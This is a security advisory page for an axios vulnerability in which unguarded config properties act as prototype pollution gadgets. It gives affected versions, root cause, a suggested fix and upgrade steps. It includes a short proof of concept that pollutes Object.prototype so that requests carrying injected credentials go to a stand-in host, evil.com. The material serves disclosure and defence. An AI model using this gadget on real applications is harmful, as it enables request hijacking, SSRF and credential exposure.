CVE-2026-42264: Axios: Prototype pollution read-side gadgets in HTTP adapter allow credential injection and request hijacking

Published May 5, 2026
·
Updated

Summary

Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.

Affected Properties

1. config.auth (lib/adapters/http.js line 617) Injects attacker-controlled Authorization header on all requests. 2. config.baseURL (lib/helpers/resolveConfig.js line 18) Redirects all requests using relative URLs to an attacker-controlled server. 3. config.socketPath (lib/adapters/http.js line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon). 4. config.beforeRedirect (lib/adapters/http.js line 698) Executes attacker-supplied callback during HTTP redirects. 5. config.insecureHTTPParser (lib/adapters/http.js line 712) Enables Node.js insecure HTTP parser on all requests.

Proof of Concept

javascript const axios = require('axios');

// Prototype pollution from a vulnerable dependency in the same process Object.prototype.auth = { username: 'attacker', password: 'exfil' }; Object.prototype.baseURL = 'https://evil.com';

await axios.get('/api/users'); // Request is sent to: https://evil.com/api/users // With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw= // Attacker receives both the request and injected credentials

Impact

- Credential injection: Every axios request includes an attacker-controlled Authorization header, leaking request contents to any server that logs auth headers. - Request hijacking: All requests using relative URLs are silently redirected to an attacker-controlled server. - SSRF: Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments. - Code execution: Attacker-supplied functions execute during HTTP redirects. - Parser weakening: Insecure HTTP parser enabled on all requests, enabling request smuggling.

Root Cause

mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values.

The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection.

Suggested Fix

Apply the existing own() helper to all affected properties:

javascript const configAuth = own('auth'); if (configAuth) { const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; }

Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js.

Other sources

Axios is a promise based HTTP client for the browser and Node.js. From version 1.0.0 to before version 1.15.2, fFive config properties (auth, baseURL, socketPath, beforeRedirect, and insecureHTTPParser) in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request. This issue has been patched in version 1.15.2.

MITRE

Affected Software

4 affected componentsFixes available
npm/axios>=1.0.0<1.15.2
1.15.2
Axios Axios Node.js>=1.0.0<1.15.2
IBM Db2 Genius Hub<=1.1, 1.1.1, 1.1.2
IBM Agentics<=1.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/axios to a version that resolves this vulnerability.

    Fixed in 1.15.2
  2. Upgrade

    Upgrade axios to a version that resolves this vulnerability.

    Fixed in 1.15.2
  3. Configuration

    Ensure the HTTP adapter guards reads of config.auth, config.baseURL, config.beforeRedirect, config.insecureHTTPParser, and config.socketPath using the existing own() helper (the same helper used to guard properties like data/lookup/family/httpVersion/http2Options/responseType/responseEncoding/transport).

    Axios HTTP adapter (lib/adapters/http.js) Apply own() helper to affected properties (auth, baseURL, beforeRedirect, insecureHTTPParser, socketPath) = own() guarded property access for these properties instead of direct prototype-chain reads

Event History

May 5, 2026
Advisory Published
via GitHub·12:18 AM
Data Sourced
via GitHub·12:18 AM
DescriptionSeverityWeaknessAffected Software
May 8, 2026
CVE Published
via MITRE·03:20 AM
Data Sourced
via MITRE·03:20 AM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·04:02 AM
DescriptionSeverityAffected Software
Data Sourced
via NVD·04:16 AM
RemedyDescriptionSeverityWeaknessAffected Software
Jul 13, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-42264?

The severity of CVE-2026-42264 is classified as medium due to potential prototype pollution vulnerabilities.

2

How do I fix CVE-2026-42264?

To fix CVE-2026-42264, upgrade axios to version 1.15.2 or later.

3

What are the affected versions of axios for CVE-2026-42264?

CVE-2026-42264 affects axios versions from 1.0.0 up to 1.15.2.

4

Can CVE-2026-42264 be exploited remotely?

Yes, CVE-2026-42264 can be exploited remotely if an attacker can influence the prototype chain.

5

What are prototype pollution vulnerabilities like CVE-2026-42264?

Prototype pollution vulnerabilities, such as CVE-2026-42264, allow an attacker to manipulate an object's prototype, potentially leading to application behaviors that can be exploited.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203